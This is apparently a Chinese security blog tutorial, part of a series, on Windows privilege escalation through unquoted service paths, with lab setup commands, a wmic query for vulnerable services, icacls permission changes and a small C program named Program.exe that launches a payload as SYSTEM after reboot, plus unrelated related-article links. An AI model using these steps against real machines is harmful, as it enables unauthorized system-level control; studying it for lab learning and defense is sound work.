操作系统权限提升(四)之系统错误配置-Tusted Service Paths提权
系列文章
操作系统权限提升(一)之操作系统权限介绍
操作系统权限提升(二)之常见提权的环境介绍
操作系统权限提升(三)之Windows系统内核溢出漏洞提权
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!!
系统错误配置提权介绍
随着网络安全的发展和普及,不打补丁的系统少之又少,所以很多时候通过系统自身的漏洞很难提权,这个时候就需要考虑查看是否存在可利用的错误系统配置,例如路径未加引号或未指定可执行文件路径等,总而言之就是因为管理员在配置一些软件的时候存在漏洞导致可以提权的
Tusted Service Paths提权
windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
如果在注册表中存在没有被引用起来的服务路径 如果是如下 C:\Program Files\Some Folder\Service.exe 因为 Program Files 和 Some Folder 都存在空格,就可能存在截断,依次寻找如下的程序并且执行阶段如下:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
我们只需要在相应的目录下制作一个恶意的程序,达到提权的目的即可,所以提权的条件如下:
1、服务路径没有用引号引起来
2、服务的路径中存在空格
3、服务以最高权限启动后
4、当前权限具有到对应目录下写文件
Tusted Service Paths提权环境配置
1、首先创建一个服务,或者自己安装一个软件,路径中存在空格,并且服务的路径中没有引号
sc create "service" binpath= "C:\Program Files\Common Files\service\service.exe" start= auto
2、查询服务的启动方式和权限
sc qc service
是system权限和自动启动
3、目前已经满足了提权的条件,还有一点就是我们普通的用户需要有向文件目录下的写权限
查询权限
icacls "C:"
icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"
发现只有RX 读取和执行,没有写入权限,执行以下给到写入权限
W写权限,R读权限,X执行权限,F完全访问权限,M修改权限
icacls "C:" /grant "BUILTIN\Users":W
现在我们再来查看发现用户对于C盘目录下的文件有了可写的权限
icacls "C:"
此时我们就可以借助普通用户组里的用户来进行提权,这里以apache这个用户为例
Tusted Service Paths提权实战
1、使用WEBSHELL,或者CS,MSF控制下来,先新建一个用户,然后登陆进去,上线
2、使用命令查找没有配置引号,和带有空格的服务
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """
3、发现有两个服务,接下俩检查时候具有文件写入的权限
icacls "C:"
icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"
apache用户对C盘有F权限,完全访问的权限
4、我们查看恶意程序文件的路劲并把它记录下来
5、做一个Program.exe的恶意软件
#include <stdio.h>
#include <stdlib.h>
int main(){
system("cmd.exe /c C:\\Users\\apache\\Desktop\\1.exe");
return 0;
}
6、编译,注意这里编译时一定要用Program这个名字,生成这个恶意程序
7、然后通过cs向我们的目标靶机上的C盘上传我们的恶意程序
6、等待重启上线,提权成功
相关文章
- pycharm安装包出现的错误
- drupal安装配置错误
- 解决问题Linux启动错误“ERROR: There's no '/dev' on rootfs.”不能mount sda2的根文件系统。
- 【网络共享解决】Internet连接共享访问被启用时,出现了一个错误 无法启用Internet连接共享。为LAN连接配置的IP地址需要使用自动IP寻址。
- 这个开源工具防止错误配置 乱入 K8s 生产环境
- 【错误记录】Android 应用 release 打包报错处理 ( 关闭语法检查 | 日志处理 | release 配置 )
- 【错误记录】NDK 配置错误 ( C/C++ debug|arm64-v8a : Could not get version from cmake.dir path )
- 【错误记录】Android Studio 配置 GitHub 报错 ( Can‘t login using given credentials: Request response: 401 Una )
- 【错误记录】Android Gradle 配置报错 ( gradle.properties 配置到 BuildConfig 中需要注意类型转换 | 位置: 类 BuildConfig )
- 【错误记录】Android Studio 编译报错 ( Error: Duplicate resources | 使用 sourceSets 配置多个 res 资源不能有重复名称的资源 )
- 【错误记录】exe4j 导出的 exe 可执行程序乱码 ( Configure Java Invocation VM Parameters 配置 -Dfile.encoding=GBK 编码 )
- IIS配置与错误提示解决方法
- IIS发生意外错误0x8ffe2740
- SQLServer 错误 故障 处理 修复 支持远程
- SQLServer 错误 8651 未能执行所请求的操作,因为可用内存少于最小查询内存。 请减小“每次查询占用的最小内存”服务器配置选项的配置值。 故障 处理 修复 支持远程
- SQLServer 错误 17884 在最后 %d 秒内,没有一个工作线程拾取了分配给节点 %d 上的进程的新查询。 查询被阻塞或长时间运行可能导致出现此情况,并且可能会延长客户端响应时间。 请使用 “最大工作线程数(max worker threads)” 配置选项增加允许的线程数,或者优化当前正运行的查询。 SQL 进程使用率: %d%%。 系统空闲率:%d%%。 故障 处理 修复 支持远程
- oracle 11g配置 解决启动连接数据库出现的ora错误
- Go语言圣经-错误,函数值习题详解编程语言
- 错误解决Oracle连接SID错误的正确方法(oracle连接sid)
- 错误解决MySQL 1069错误:无法建立正确的主从复制(mysql1069)
- Linux终止程序:解决运行错误问题(linux终止程序)
- Linux配置外网IP:步骤、方法、常见错误及其修复(linux外网ip配置)
- 如何解决Oracle连接错误问题?(oracle连接错误)
- MySQL错误1419解决方法(mysql1419)
- 解决MSSQL附加数据库出错问题(mssql附加错误)
- Oracle 防止 22 92错误的方法(oracle -2292)
- MySQL语句错误,如何解决(mysql下面语句有错误)
- 在本地计算机无法启动mysql服务错误1067:进程意外中止
- mssql2005字符串连接方法避免无效的连接错误
- mysql不能启动报error2013错误的多种解决方案
- Android开发中的9个常见错误和解决方法